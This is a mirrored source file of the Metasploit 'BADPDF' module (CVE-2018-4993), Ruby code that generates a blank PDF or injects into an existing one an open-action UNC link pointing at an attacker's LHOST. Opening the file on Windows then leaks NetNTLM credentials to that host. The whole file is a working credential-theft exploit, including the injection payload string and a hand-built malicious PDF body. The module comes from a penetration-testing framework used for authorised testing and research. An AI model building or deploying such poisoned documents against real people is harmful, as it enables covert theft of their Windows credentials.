Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/badpdf.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::FILEFORMAT
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'BADPDF Malicious PDF Creator',
14
'Description' => %q{
15
This module can either creates a blank PDF file which contains a UNC link which can be used
16
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
17
code into an existing PDF document if possible.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [
21
'Assaf Baharav', # Code provided as POC by CheckPoint
22
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
23
'Ido Solomon', # Code provided as POC by CheckPoint
24
'Richard Davy - secureyourit.co.uk', # Metasploit
25
],
26
'Platform' => ['win'],
27
'References' => [
28
['CVE', '2018-4993'],
29
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
30
],
31
'Notes' => {
32
'Reliability' => UNKNOWN_RELIABILITY,
33
'Stability' => UNKNOWN_STABILITY,
34
'SideEffects' => UNKNOWN_SIDE_EFFECTS
35
}
36
)
37
)
38
register_options(
39
[
40
OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
41
OptString.new('FILENAME', [false, 'Filename']),
42
OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
43
]
44
)
45
end
46
47
def run
48
if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
49
print_error 'Please configure either FILENAME or PDFINJECT'
50
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
51
injectpdf
52
elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
53
createpdf
54
else
55
print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
56
end
57
end
58
59
def injectpdf
60
# Payload which gets injected
61
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
62
63
# if given path doesn't exist display error and return
64
unless File.exist?(datastore['PDFINJECT'])
65
# If file not found display error message
66
print_error "File doesn't exist #{datastore['PDFINJECT']}"
67
return
68
end
69
70
# Read in contents of file
71
content = File.binread(datastore['PDFINJECT'])
72
73
# Check for place holder - below ..should.. cover most scenarios.
74
newdata = ''
75
[2, 4, 6, 8].each do |pholder|
76
unless content.index("/Contents #{pholder} 0 R").nil?
77
# If place holder exists create new file content
78
newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
79
break
80
end
81
end
82
83
# Display error message if we couldn't poison the file
84
if newdata.empty?
85
print_error 'Could not find placeholder to poison file this time....'
86
return
87
end
88
89
# Create new filename by replacing .pdf with _malicious.pdf
90
newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
91
# Write content to file
92
File.open(newfilename, 'wb') { |file| file.write(newdata) }
93
# Check file exists and display path or error message
94
if File.exist?(newfilename)
95
print_good("Malicious file written to: #{newfilename}")
96
else
97
print_error 'Something went wrong creating malicious PDF file'
98
end
99
end
100
101
def createpdf
102
# Code below taken POC provided by CheckPoint Research
103
pdf = ''
104
pdf << "%PDF-1.7\n"
105
pdf << "1 0 obj\n"
106
pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
107
pdf << "endobj\n"
108
pdf << "2 0 obj\n"
109
pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
110
pdf << "endobj\n"
111
pdf << "3 0 obj\n"
112
pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
113
pdf << "endobj\n"
114
pdf << "xref\n"
115
pdf << "0 4\n"
116
pdf << "0000000000 65535 f\n"
117
pdf << "0000000015 00000 n\n"
118
pdf << "0000000060 00000 n\n"
119
pdf << "0000000111 00000 n\n"
120
pdf << "trailer\n"
121
pdf << "<</Size 4/Root 1 0 R>>\n"
122
pdf << "startxref\n"
123
pdf << "190\n"
124
pdf << "3 0 obj\n"
125
pdf << "<< /Type /Page\n"
126
pdf << " /Contents 4 0 R\n"
127
pdf << " /AA <<\n"
128
pdf << " /O <<\n"
129
pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
130
pdf << " /D [ 0 /Fit]\n"
131
pdf << " /S /GoToE\n"
132
pdf << " >>\n"
133
pdf << " >>\n"
134
pdf << " /Parent 2 0 R\n"
135
pdf << " /Resources <<\n"
136
pdf << " /Font <<\n"
137
pdf << " /F1 <<\n"
138
pdf << " /Type /Font\n"
139
pdf << " /Subtype /Type1\n"
140
pdf << " /BaseFont /Helvetica\n"
141
pdf << " >>\n"
142
pdf << " >>\n"
143
pdf << " >>\n"
144
pdf << ">>\n"
145
pdf << "endobj\n"
146
pdf << "4 0 obj<< /Length 100>>\n"
147
pdf << "stream\n"
148
pdf << "BT\n"
149
pdf << "/TI_0 1 Tf\n"
150
pdf << "14 0 0 14 10.000 753.976 Tm\n"
151
pdf << "0.0 0.0 0.0 rg\n"
152
pdf << "(PDF Document) Tj\n"
153
pdf << "ET\n"
154
pdf << "endstream\n"
155
pdf << "endobj\n"
156
pdf << "trailer\n"
157
pdf << "<<\n"
158
pdf << " /Root 1 0 R\n"
159
pdf << ">>\n"
160
pdf << "%%EOF\n"
161
# Write data to filename
162
file_create(pdf)
163
end
164
end
165
166